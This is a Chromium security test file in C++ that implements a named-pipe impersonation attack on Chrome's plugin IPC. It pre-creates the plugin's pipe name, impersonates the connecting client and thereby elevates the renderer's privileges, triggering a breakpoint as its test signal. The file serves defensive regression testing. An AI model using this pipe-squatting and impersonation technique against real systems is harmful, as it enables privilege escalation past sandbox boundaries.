// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include #include #include #include "chrome/test/security_tests/ipc_security_tests.h" namespace { // Debug output messages prefix. const char kODSMgPrefix[] = "[security] "; // Format of the Chrome browser pipe for plugins. const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d"; // Size for the in/out pipe buffers. const int kBufferSize = 1024; // Define the next symbol if you want to have tracing of errors. #ifdef PIPE_SECURITY_DBG // Generic debug output function. void ODSMessageGLE(const char* txt) { DWORD gle = ::GetLastError(); std::ostringstream oss; oss << kODSMgPrefix << txt << " 0x" << std::hex << gle; ::OutputDebugStringA(oss.str().c_str()); } #else void ODSMessageGLE(const char* txt) { } #endif // Retrieves the renderer pipe name from the command line. Returns true if the // name was found. bool PipeNameFromCommandLine(std::wstring* pipe_name) { std::wstring cl(::GetCommandLineW()); const wchar_t key_name[] = L"--channel"; std::wstring::size_type pos = cl.find(key_name, 0); if (std::wstring::npos == pos) { return false; } pos = cl.find(L"=", pos); if (std::wstring::npos == pos) { return false; } ++pos; size_t dst = cl.length() - pos; if (dst <4) { return false; } for (; dst != 0; --dst) { if (!isspace(cl[pos])) { break; } ++pos; } if (0 == dst) { return false; } std::wstring::size_type pos2 = pos; for (; dst != 0; --dst) { if (isspace(cl[pos2])) { break; } ++pos2; } *pipe_name = cl.substr(pos, pos2); return true; } // Extracts the browser process id and the channel id given the renderer // pipe name. bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id, std::wstring* channel_id) { std::wstring::size_type pos = pipe_name.find(L".", 0); if (std::wstring::npos == pos) { return false; } *parent_id = pipe_name.substr(0, pos); *channel_id = pipe_name.substr(pos + 1); return true; } // Creates a server pipe, in byte mode. HANDLE MakeServerPipeBase(const wchar_t* pipe_name) { HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3, kBufferSize, kBufferSize, 5000, NULL); if (INVALID_HANDLE_VALUE == pipe) { ODSMessageGLE("pipe creation failed"); } return pipe; } // Creates a chrome plugin server pipe. HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) { wchar_t pipe_name[MAX_PATH]; swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel); return MakeServerPipeBase(pipe_name); } struct Context { HANDLE pipe; explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) { } }; // This function is called from a thread that has a security context that is // higher than the renderer security context. This can be the plugin security // context or the browser security context. void DoEvilThings(Context* context) { // To make the test fail we simply trigger a breakpoint in the renderer. ::DisconnectNamedPipe(context->pipe); __debugbreak(); } // This is a pipe server thread routine. DWORD WINAPI PipeServerProc(void* thread_param) { if (NULL == thread_param) { return 0; } Context* context = static_cast(thread_param); HANDLE server_pipe = context->pipe; char buffer[4]; DWORD bytes_read = 0; for (;;) { // The next call blocks until a connection is made. if (!::ConnectNamedPipe(server_pipe, NULL)) { if (GetLastError() != ERROR_PIPE_CONNECTED) { ODSMessageGLE("== connect named pipe failed =="); continue; } } // return value of ReadFile is unimportant. ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL); if (::ImpersonateNamedPipeClient(server_pipe)) { ODSMessageGLE("impersonation obtained"); DoEvilThings(context); break; } else { ODSMessageGLE("impersonation failed"); } ::DisconnectNamedPipe(server_pipe); } delete context; return 0; } } // namespace // Implements a pipe impersonation attack resulting on a privilege elevation on // the chrome pipe-based IPC. // When a web-page that has a plug-in is loaded, chrome will do the following // steps: // 1) Creates a server pipe with name 'chrome..p'. Initially n = 1. // 2) Launches chrome with command line --type=plugin --channel=.p // 3) The new (plugin) process connects to the pipe and sends a 'hello' // message. // The attack creates another server pipe with the same name before step one // so when the plugin connects it connects to the renderer instead. Once the // connection is acepted and at least a byte is read from the pipe, the // renderer can impersonate the plugin process which has a more relaxed // security context (privilege elevation). // // Note that the attack can also be peformed after step 1. In this case we need // another thread which used to connect to the existing server pipe so the // plugin does not connect to chrome but to our pipe. bool PipeImpersonationAttack() { std::wstring pipe_name; if (!PipeNameFromCommandLine(&pipe_name)) { return false; } std::wstring parent_id; std::wstring channel_id; if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) { return false; } HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1); if (INVALID_HANDLE_VALUE == plugin_pipe) { return true; } HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc, new Context(plugin_pipe), 0, NULL); if (NULL == thread) { return false; } ::CloseHandle(thread); return true; }